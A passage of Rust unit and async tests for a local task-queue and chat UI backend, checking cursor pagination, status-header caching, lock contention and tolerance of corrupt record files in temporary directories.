26036 let expected =
26037 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
26038 .unwrap();
26039 assert_eq!(actual.id, expected.id);
26040 assert!(!actual.status.open());
26041 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26042 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26043 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
26046 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26047 }
26048 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
26049 ui.queue.put(&mut child).unwrap();
26050 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
26051 let (tasks, talks, _watches) =
26052 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26053 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26054 child.origin_chat = Some(chat_id.clone());
26055 ui.queue.put(&mut child).unwrap();
26056 let (tasks, talks, _watches) =
26057 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26058 assert_eq!(
26059 crate::consult::origin_talk(&tasks, &talks, &question)
26060 .unwrap()
26061 .id,
26062 chat_id
26063 );
26064 let revision = question_record_revision(&question);
26065 question.abandon("settled elsewhere");
26066 assert_ne!(revision, question_record_revision(&question));
26067 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26068 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
26069 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
26070 let (tasks, talks, _watches) =
26071 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26072 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
26073 }
26074
26075 #[test]
26076 fn list_cursors_freeze_membership_and_expire_explicitly() {
26077 let home = tempfile::tempdir().unwrap();
26078 let ui = delta_test_ui(home.path());
26079 std::fs::create_dir_all(ui.queue.root()).unwrap();
26080 for i in 0..40 {
26081 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
26082 }
26083 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
26084 assert_eq!(first.len(), STORE_PAGE_SIZE);
26085 let cursor = cursor.unwrap();
26086 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
26087 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
26088 let (second, _) = page_ids(
26089 &ui,
26090 false,
26091 PageQuery {
26092 before: Some(cursor.clone()),
26093 },
26094 )
26095 .unwrap();
26096 assert_eq!(second[0], "record-0023");
26097 assert!(second.iter().all(|id| !first.contains(id)));
26098 assert!(
26099 page_ids(
26100 &ui,
26101 true,
26102 PageQuery {
26103 before: Some(cursor.clone())
26104 }
26105 )
26106 .is_err()
26107 );
26108 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
26109 assert_eq!(fresh[0], "record-9999");
26110 ui.monitor.list_walks.lock().unwrap().clear();
26111 assert!(
26112 page_ids(
26113 &ui,
26114 false,
26115 PageQuery {
26116 before: Some(cursor)
26117 }
26118 )
26119 .is_err()
26120 );
26121 }
26122
26123 #[tokio::test]
26124 async fn talk_pages_load_every_open_then_frozen_closed_history() {
26125 let home = tempfile::tempdir().unwrap();
26126 let ui = delta_test_ui(home.path());
26127 for i in 0..23 {
26129 seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
26130 }
26131 for i in 0..45 {
26132 seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
26133 }
26134 std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
26135 let first = talks_page(
26136 State(ui.clone()),
26137 Query(PageQuery::default()),
26138 header::HeaderMap::new(),
26139 )
26140 .await
26141 .unwrap()
26142 .0;
26143 assert_eq!(
26144 first.rows.iter().filter(|row| row.status.open()).count(),
26145 23
26146 );
26147 assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
26148 assert!(first.rows[..23].iter().all(|row| row.status.open()));
26149 let parsed = ui
26150 .monitor
26151 .talk_parses
26152 .load(std::sync::atomic::Ordering::Relaxed);
26153 assert_eq!(
26154 parsed,
26155 first.rows.len(),
26156 "closed bodies outside this page are not restored"
26157 );
26158 let fresh = talks_page(
26159 State(ui.clone()),
26160 Query(PageQuery::default()),
26161 header::HeaderMap::new(),
26162 )
26163 .await
26164 .unwrap()
26165 .0;
26166 assert_eq!(fresh.rows.len(), first.rows.len());
26167 assert_eq!(
26168 ui.monitor
26169 .talk_parses
26170 .load(std::sync::atomic::Ordering::Relaxed),
26171 parsed
26172 );
26173 let mut seen: std::collections::HashSet<_> =
26174 first.rows.iter().map(|row| row.id.clone()).collect();
26175 seed_talk_at(&ui.talks, "20261019-000000-000", "open");
26177 seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
26178 std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
26179 let mut next = first.next;
26180 while let Some(cursor) = next {
26181 let page = talks_page(
26182 State(ui.clone()),
26183 Query(PageQuery {
26184 before: Some(cursor),
26185 }),
26186 header::HeaderMap::new(),
26187 )
26188 .await
26189 .unwrap()
26190 .0;
26191 assert!(page.rows.len() <= STORE_PAGE_SIZE);
26192 for row in page.rows {
26193 assert!(seen.insert(row.id), "a cursor must not repeat membership");
26194 }
26195 next = page.next;
26196 }
26197 let expected: HashSet<_> = (0..23)
26198 .map(|i| format!("20260101-000000-{i:03}"))
26199 .chain(
26200 (0..45)
26201 .filter(|i| *i != 1)
26202 .map(|i| format!("20261019-000000-{i:03}")),
26203 )
26204 .collect();
26205 assert_eq!(
26206 seen, expected,
26207 "the cursor walk must return every surviving ID"
26208 );
26209 let refreshed = talks_page(
26210 State(ui.clone()),
26211 Query(PageQuery::default()),
26212 header::HeaderMap::new(),
26213 )
26214 .await
26215 .unwrap()
26216 .0;
26217 assert_eq!(
26218 refreshed
26219 .rows
26220 .iter()
26221 .filter(|row| row.status.open())
26222 .count(),
26223 23
26224 );
26225 assert!(
26226 refreshed
26227 .rows
26228 .iter()
26229 .any(|row| row.id == "20261019-000000-000")
26230 );
26231 assert!(
26232 !refreshed
26233 .rows
26234 .iter()
26235 .any(|row| row.id == "20260101-000000-000")
26236 );
26237 }
26238
26239 #[test]
26240 fn talk_pages_with_only_open_rows_have_no_history_cursor() {
26241 let home = tempfile::tempdir().unwrap();
26242 let ui = delta_test_ui(home.path());
26243 for i in 0..STORE_PAGE_SIZE + 5 {
26244 seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
26245 }
26246 let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
26247 assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
26248 assert!(next.is_none());
26249 }
26250
26251 #[test]
26252 fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
26253 struct Counted<R> {
26254 inner: R,
26255 bytes: usize,
26256 }
26257 impl<R: std::io::Read> std::io::Read for Counted<R> {
26258 fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
26259 let n = self.inner.read(buf)?;
26260 self.bytes += n;
26261 Ok(n)
26262 }
26263 }
26264 let home = tempfile::tempdir().unwrap();
26265 let ui = delta_test_ui(home.path());
26266 let id = seed_talk_at(&ui.talks, "header-chat", "closed");
26267 let mut chat = ui.talks.get(&id).unwrap();
26268 for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
26269 chat.turns = vec![
26270 serde_json::from_value(serde_json::json!({
26271 "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
26272 }))
26273 .unwrap(),
26274 ];
26275 for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
26276 chat.status = status;
26277 let body = serde_json::to_vec_pretty(&chat).unwrap();
26279 let mut reader = Counted {
26280 inner: body.as_slice(),
26281 bytes: 0,
26282 };
26283 assert_eq!(read_talk_status(&mut reader), Some(status));
26284 assert!(
26285 reader.bytes <= 1024,
26286 "header classification read {} bytes",
26287 reader.bytes
26288 );
26289 }
26290 }
26291 let noncanonical = format!(
26294 r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
26295 "x".repeat(1024 * 1024)
26296 );
26297 let mut reader = Counted {
26298 inner: noncanonical.as_bytes(),
26299 bytes: 0,
26300 };
26301 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26302 assert!(reader.bytes <= 1024);
26303 let oversized = format!(
26304 r#"{{"agent":"{}","status":"open"}}"#,
26305 "x".repeat(128 * 1024)
26306 );
26307 let mut reader = Counted {
26308 inner: oversized.as_bytes(),
26309 bytes: 0,
26310 };
26311 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26312 assert!(reader.bytes <= 64 * 1024);
26313 }
26314
26315 #[test]
26316 fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
26317 let home = tempfile::tempdir().unwrap();
26318 let ui = delta_test_ui(home.path());
26319 seed_talk_at(&ui.talks, "header-chat", "open");
26320 std::fs::create_dir_all(ui.queue.root()).unwrap();
26321 let (started, ready) = std::sync::mpsc::channel();
26322 let (release, wait) = std::sync::mpsc::channel();
26323 let chat_ui = ui.clone();
26324 let scan = std::thread::spawn(move || {
26325 page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
26326 started.send(()).unwrap();
26327 wait.recv().unwrap();
26328 open_talk_ids(ui, ids)
26329 })
26330 .unwrap()
26331 });
26332 ready.recv_timeout(Duration::from_secs(2)).unwrap();
26333 let (finished, result) = std::sync::mpsc::channel();
26334 let queue = std::thread::spawn(move || {
26335 finished
26336 .send(page_ids(&ui, false, PageQuery::default()).is_ok())
26337 .unwrap();
26338 });
26339 let completed = result.recv_timeout(Duration::from_secs(2));
26340 release.send(()).unwrap();
26342 scan.join().unwrap();
26343 queue.join().unwrap();
26344 assert!(
26345 completed.unwrap(),
26346 "queue paging must not wait for chat header I/O"
26347 );
26348 }
26349
26350 #[test]
26351 fn talk_status_projection_does_not_cache_files_changed_during_read() {
26352 let home = tempfile::tempdir().unwrap();
26353 let ui = delta_test_ui(home.path());
26354 let ids = vec!["changing-chat".to_owned()];
26355 seed_talk_at(&ui.talks, &ids[0], "closed");
26356 assert!(open_talk_ids(&ui, &ids).is_empty());
26357 seed_talk_at(&ui.talks, &ids[0], "open");
26358 let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
26359 let value: serde_json::Value =
26360 serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
26361 seed_talk_at(&ui.talks, &ids[0], "closed");
26363 serde_json::from_value(value["status"].clone()).ok()
26364 });
26365 assert!(open.contains(&ids[0]));
26366 assert!(
26367 ui.monitor
26368 .talk_status_index
26369 .lock()
26370 .unwrap()
26371 .records
26372 .is_empty()
26373 );
26374 assert!(open_talk_ids(&ui, &ids).is_empty());
26375 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
26376 }
26377
26378 #[test]
26379 fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
26380 let home = tempfile::tempdir().unwrap();
26381 let ui = delta_test_ui(home.path());
26382 let ids = vec!["same-stamp-chat".to_owned()];
26383 seed_talk_at(&ui.talks, &ids[0], "open");
26384 ui.monitor.talk_status_index.lock().unwrap().records.insert(
26387 ids[0].clone(),
26388 (
26389 file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
26390 Some(talk::TalkStatus::Closed),
26391 ),
26392 );
26393 let open = open_talk_ids_with(&ui, &ids, false, |path| {
26394 std::fs::File::open(path).ok().and_then(read_talk_status)
26395 });
26396 assert!(
26397 open.contains(&ids[0]),
26398 "an untrusted cache hit must still read the current header"
26399 );
26400 assert!(
26401 ui.monitor
26402 .talk_status_index
26403 .lock()
26404 .unwrap()
26405 .records
26406 .is_empty()
26407 );
26408 seed_talk_at(&ui.talks, &ids[0], "closed");
26409 assert!(
26410 open_talk_ids_with(&ui, &ids, false, |path| {
26411 std::fs::File::open(path).ok().and_then(read_talk_status)
26412 })
26413 .is_empty()
26414 );
26415 let index = ui.monitor.talk_status_index.lock().unwrap();
26416 assert_eq!(index.parses, 2);
26417 assert!(
26418 index.records.is_empty(),
26419 "untrusted fingerprints must never publish cache entries"
26420 );
26421 }
26422
26423 #[test]
26424 fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
26425 let home = tempfile::tempdir().unwrap();
26426 let ui = delta_test_ui(home.path());
26427 let headers = header::HeaderMap::new();
26428 seed_talk_at(&ui.talks, "open-chat", "open");
26429 seed_talk_at(&ui.talks, "closed-chat", "closed");
26430 talk_rows(
26431 &ui,
26432 vec!["open-chat".into(), "closed-chat".into()],
26433 &headers,
26434 );
26435 {
26436 let mut index = ui.monitor.talk_index.lock().unwrap();
26437 let closed = index["closed-chat"].1.clone();
26438 for i in 0..1000 {
26439 index.insert(
26440 format!("cached-closed-{i}"),
26441 (
26442 file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
26443 closed.clone(),
26444 ),
26445 );
26446 }
26447 }
26448 assert_eq!(
26449 talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
26450 1
26451 );
26452 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
26453 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26454 assert_eq!(
26455 ui.monitor
26456 .talk_parses
26457 .load(std::sync::atomic::Ordering::Relaxed),
26458 2
26459 );
26460 {
26461 let mut index = ui.monitor.talk_index.lock().unwrap();
26462 let open = index["open-chat"].1.clone();
26463 for i in 0..1000 {
26464 index.insert(
26465 format!("cached-open-{i}"),
26466 (
26467 file_identity(&ui.talks.path_of("open-chat")).unwrap(),
26468 open.clone(),
26469 ),
26470 );
26471 }
26472 }
26473 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26475 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
26476 assert_eq!(
26477 ui.monitor
26478 .talk_parses
26479 .load(std::sync::atomic::Ordering::Relaxed),
26480 2
26481 );
26482 }
26483
26484 #[test]
26485 fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
26486 let home = tempfile::tempdir().unwrap();
26487 let ui = delta_test_ui(home.path());
26488 std::fs::create_dir_all(ui.talks.root()).unwrap();
26489 let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
26490 for id in &ids {
26491 std::fs::write(
26492 ui.talks.path_of(id),
26493 r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
26494 )
26495 .unwrap();
26496 }
26497 assert!(open_talk_ids(&ui, &ids).is_empty());
26498 assert_eq!(
26499 ui.monitor.talk_status_index.lock().unwrap().parses,
26500 ids.len()
26501 );
26502 assert!(open_talk_ids(&ui, &ids).is_empty());
26503 let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
26504 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
26505 std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
26506 std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
26507 assert_eq!(
26508 open_talk_ids(&ui, &ids),
26509 std::collections::HashSet::from([ids[0].clone()])
26510 );
26511 let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
26512 let refreshed = if cfg!(unix) { 2 } else { ids.len() };
26513 assert_eq!(parsed, reused + refreshed);
26514 open_talk_ids(&ui, &ids);
26515 assert_eq!(
26516 ui.monitor.talk_status_index.lock().unwrap().parses,
26517 parsed + if cfg!(unix) { 0 } else { ids.len() },
26518 "only reliable file identity permits caching, including unreadable rows"
26519 );
26520 std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
26521 assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
26522 assert!(
26523 !ui.monitor
26524 .talk_status_index
26525 .lock()
26526 .unwrap()
26527 .records
26528 .contains_key(&ids[0])
26529 );
26530 assert!(
26531 ui.monitor.talk_index.lock().unwrap().is_empty(),
26532 "classification never caches bodies"
26533 );
26534 }
26535
26536 #[tokio::test]
26537 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
26538 let home = tempfile::tempdir().unwrap();
26539 let ui = delta_test_ui(home.path());
26540 let mut task = Task::new(
26541 "task".into(),
26542 "body".into(),
26543 PathBuf::from("/repo"),
26544 Source::Human,
26545 );
26546 ui.queue.put(&mut task).unwrap();
26547 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26548 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26549 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26550 let expected = parsed + usize::from(!cfg!(unix));
26551 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26552 task.status = crate::queue::TaskStatus::Held;
26553 ui.queue.put(&mut task).unwrap();
26554 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26555 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26556 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
26557 ui.queue.put(&mut task).unwrap();
26558 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26559 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26560 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
26561 }
26562
26563 #[tokio::test]
26564 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
26565 let home = tempfile::tempdir().unwrap();
26566 let ui = delta_test_ui(home.path());
26567 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
26568 let before = health(State(ui.clone())).await.unwrap().0;
26569 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
26570 let after = health(State(ui)).await.unwrap().0;
26571 assert_ne!(before.notifications_rev, after.notifications_rev);
26572 assert_eq!(after.notifications_unread, 1);
26573 }
26574
26575 #[tokio::test]
26576 async fn list_pages_bound_history_and_keep_dependency_evidence() {
26577 let home = tempfile::tempdir().unwrap();
26578 let ui = delta_test_ui(home.path());
26579 let queue = &ui.queue;
26580 let talks = &ui.talks;
26581 for i in 0..1000 {
26582 let id = format!("20261019-{i:06}-page");
26583 let mut task = Task::new(
26584 "task".into(),
26585 "instruction".repeat(100),
26586 PathBuf::from("/repo/magi"),
26587 Source::Human,
26588 );
26589 task.id = id.clone();
26590 if i == 0 {
26591 task.status = crate::queue::TaskStatus::Held;
26592 } else if i == 999 {
26593 task.status = crate::queue::TaskStatus::Blocked;
26594 task.blocked_by = vec!["20261019-000000-page".into()];
26595 }
26596 queue.put(&mut task).unwrap();
26597 seed_talk_at(talks, &id, "closed");
26598 }
26599 let page = serde_json::to_value(
26600 queue_page(State(ui.clone()), Query(PageQuery::default()))
26601 .await
26602 .unwrap()
26603 .0,
26604 )
26605 .unwrap();
26606 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26607 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
26608 assert!(
26609 !page["rows"][0]["stuck_roots"]
26610 .as_array()
26611 .unwrap()
26612 .is_empty()
26613 );
26614 let cursor = page["next"].as_str().unwrap();
26615 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
26616 .as_str()
26617 .unwrap();
26618 std::fs::remove_file(queue.path_of(last_id)).unwrap();
26620 let next = serde_json::to_value(
26621 queue_page(
26622 State(ui.clone()),
26623 Query(PageQuery {
26624 before: Some(cursor.into()),
26625 }),
26626 )
26627 .await
26628 .unwrap()
26629 .0,
26630 )
26631 .unwrap();
26632 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26633 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
26634 let chats = serde_json::to_value(
26635 talks_page(
26636 State(ui.clone()),
26637 Query(PageQuery::default()),
26638 header::HeaderMap::new(),
26639 )
26640 .await
26641 .unwrap()
26642 .0,
26643 )
26644 .unwrap();
26645 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26646 assert!(chats["rows"][0].get("pending").is_none());
26647 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
26648 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
26649 assert_eq!(counts["held"], 1);
26650 assert_eq!(counts["blocked"], 1);
26651 assert_eq!(counts["queued"], 997);
26652 }
26653
26654 #[test]
26655 fn queue_index_observes_external_replacement_deletion_and_corruption() {
26656 let dir = tempfile::tempdir().unwrap();
26657 let ui = delta_test_ui(dir.path());
26658 let mut task = Task::new(
26659 "task".into(),
26660 "body".into(),
26661 PathBuf::from("/repo"),
26662 Source::Human,
26663 );
26664 task.runs = vec!["run-a".into()];
26665 ui.queue.put(&mut task).unwrap();
26666 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
26667 task.runs = vec!["run-b".into()];
26668 let path = ui.queue.path_of(&task.id);
26669 let modified = path.metadata().unwrap().modified().unwrap();
26670 let replacement = path.with_extension("replacement");
26671 let bytes = serde_json::to_vec_pretty(&task).unwrap();
26672 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
26673 std::fs::write(&replacement, &bytes).unwrap();
26674 std::fs::File::options()
26675 .write(true)
26676 .open(&replacement)
26677 .unwrap()
26678 .set_times(std::fs::FileTimes::new().set_modified(modified))
26679 .unwrap();
26680 std::fs::rename(&replacement, &path).unwrap();
26681 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
26682 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26683 std::fs::write(&path, "broken").unwrap();
26684 assert!(ui.find_task_for_run("run-b").is_err());
26685 std::fs::write(&path, bytes).unwrap();
26686 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26687 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26688 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
26689 }
26690
26691 #[tokio::test]
26692 async fn conversation_core_is_independent_of_unreadable_related_history() {
26693 let home = tempfile::tempdir().unwrap();
26694 let ui = delta_test_ui(home.path());
26695 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26696 std::fs::create_dir_all(ui.queue.root()).unwrap();
26697 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
26698 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
26699 .await
26700 .unwrap();
26701 assert_eq!(core.talk.id, id);
26702 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
26703 }
26704
26705 #[test]
26706 fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
26707 let home = tempfile::tempdir().unwrap();
26708 let ui = delta_test_ui(home.path());
26709 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26710 let directory = home.path().join("workers/jobs/abcdef");
26711 std::fs::create_dir_all(&directory).unwrap();
26712 let job = crate::worker::Job {
26713 id: "abcdef".into(),
26714 sequence: 1,
26715 kind: "chat".into(),
26716 key: id.clone(),
26717 payload: serde_json::json!({ "talk": id }),
26718 generation: "test".into(),
26719 version: None,
26720 status: crate::worker::Status::Running,
26721 result: None,
26722 pid: None,
26723 created_at: 0,
26724 finished_at: None,
26725 };
26726 std::fs::write(
26727 directory.join("job.json"),
26728 serde_json::to_vec(&job).unwrap(),
26729 )
26730 .unwrap();
26731 let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
26732 let store =
26733 crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
26734 let runtime = tokio::runtime::Builder::new_current_thread()
26735 .enable_all()
26736 .max_blocking_threads(1)
26737 .build()
26738 .unwrap();
26739 runtime.block_on(async {
26740 let (release, held) = std::sync::mpsc::channel();
26741 let (started, ready) = tokio::sync::oneshot::channel();
26742 let occupied = tokio::task::spawn_blocking(move || {
26743 started.send(()).unwrap();
26744 held.recv().unwrap();
26745 });
26746 ready.await.unwrap();
26747 let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
26748 let bulk = ui
26749 .monitor
26750 .bulk_slots
26751 .clone()
26752 .acquire_many_owned(2)
26753 .await
26754 .unwrap();
26755 let result = tokio::time::timeout(
26756 Duration::from_secs(2),
26757 talk_core(State(ui.clone()), Path(id.clone())),
26758 )
26759 .await;
26760 drop(store);
26762 drop(bulk);
26763 release.send(()).unwrap();
26764 occupied.await.unwrap();
26765 let _ = secondary.await.unwrap().unwrap();
26766 let Json(core) = result
26767 .expect("transcript must bypass secondary work and the worker store lock")
26768 .unwrap();
26769 assert!(
26770 core.thinking,
26771 "read-only observation retains live worker state"
26772 );
26773 assert_eq!(core.talk.id, id);
26774 let admission_ui = ui.clone();
26775 let (release, held) = std::sync::mpsc::channel();
26776 let (started, ready) = tokio::sync::oneshot::channel();
26777 let admission = std::thread::spawn(move || {
26778 let _lock = admission_ui.talk_turns.lock().unwrap();
26779 started.send(()).unwrap();
26780 held.recv().unwrap();
26781 });
26782 ready.await.unwrap();
26783 let result = tokio::time::timeout(
26784 Duration::from_secs(2),
26785 talk_core(State(ui.clone()), Path(id.clone())),
26786 )
26787 .await;
26788 release.send(()).unwrap();
26789 admission.join().unwrap();
26790 assert!(
26791 result
26792 .expect("display must not wait behind local admission")
26793 .unwrap()
26794 .0
26795 .thinking
26796 );
26797 assert!(ui.is_thinking(&id));
26798 assert!(ui.is_thinking_observed(&id));
26799 drop(live);
26800 assert!(
26801 !ui.is_thinking_observed(&id),
26802 "a finished lease no longer appears live"
26803 );
26804 assert!(!ui.is_thinking(&id));
26805 let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
26806 assert!(
26807 ui.is_thinking_observed(&id),
26808 "local admission remains visible"
26809 );
26810 });
26811 }
26812
26813 #[tokio::test]
26814 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
26815 let home = tempfile::tempdir().unwrap();
26816 let ui = delta_test_ui(home.path());
26817 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26818 let mut task = Task::new(
26819 "Referenced task".into(),
26820 "Unrelated instruction history".repeat(1024),
26821 home.path().into(),
26822 Source::Human,
26823 );
26824 task.id = "20261019-000000-abcd".into();
26825 ui.queue.put(&mut task).unwrap();
26826 let mut conversation = ui.talks.get(&id).unwrap();
26827 conversation.turns.push(talk::Turn {
26828 sender: Some(talk::Sender::Persona),
26829 who: talk::Who::Agent,
26830 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
26831 at: conversation.created_at,
26832 attachments: Vec::new(),
26833 usage: None,
26834 breaks: None,
26835 messages: Vec::new(),
26836 posted_by: None,
26837 });
26838 ui.talks.put(&mut conversation).unwrap();
26839
26840 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
26841 let markdown = serde_json::to_value(&core.turn_bodies_md)
26842 .unwrap()
26843 .to_string();
26844 assert!(markdown.contains("\"strong\""));
26845 assert!(markdown.contains("\"table\""));
26846 assert!(markdown.contains("\"bullet_list\""));
26847 assert!(markdown.contains("\"code_block\""));
26848 assert!(!markdown.contains("\"internal_link\""));
26849 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26850 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26851 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26852
26853 let references = ui.references.for_talk(home.path(), &conversation);
26856 let mut decorated = core.turn_bodies_md[0].clone();
26857 references.markdown(&mut decorated);
26858 let decorated = serde_json::to_value(decorated).unwrap().to_string();
26859 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26860 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26861 assert_eq!(
26862 ui.talks.get(&conversation.id).unwrap().turns[0].body,
26863 conversation.turns[0].body
26864 );
26865 }
26866
26867 #[tokio::test]
26868 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26869 let home = tempfile::tempdir().unwrap();
26870 let ui = delta_test_ui(home.path());
26871 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26872 let mut run = RunState::new(
26873 PathBuf::from("/repo"),
26874 "main".into(),
26875 "01234567".into(),
26876 "Useful run".into(),
26877 Config::default(),
26878 );
26879 run.save_under(home.path()).unwrap();
26880 let mut task = Task::new(
26881 "Related".into(),
26882 "body".into(),
26883 PathBuf::from("/repo"),
26884 Source::Agent {
26885 run: talk_id.clone(),
26886 node: "chat".into(),
26887 },
26888 );
26889 task.runs = vec![run.id.clone()];
26890 ui.queue.put(&mut task).unwrap();
26891 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26892 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26893 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26894 assert!(
26895 run_detail(State(ui.clone()), Path(run.id.clone()))
26896 .await
26897 .is_ok()
26898 );
26899 assert!(
26900 talk_sections(State(ui.clone()), Path(talk_id.clone()))
26901 .await
26902 .is_ok()
26903 );
26904 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26906 assert!(ui.find_task_for_run(&run.id).is_err());
26907 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26908 ui.queue.put(&mut task).unwrap();
26909 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26910 }
26911
26912 #[tokio::test]
26913 async fn conversation_sections_omit_large_task_instructions() {
26914 let home = tempfile::tempdir().unwrap();
26915 let ui = delta_test_ui(home.path());
26916 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26917 let mut task = Task::new(
26918 "filed task".into(),
26919 "large instruction ".repeat(65536),
26920 PathBuf::from("/repo"),
26921 Source::Agent {
26922 run: id.clone(),
26923 node: "chat".into(),
26924 },
26925 );
26926 ui.queue.put(&mut task).unwrap();
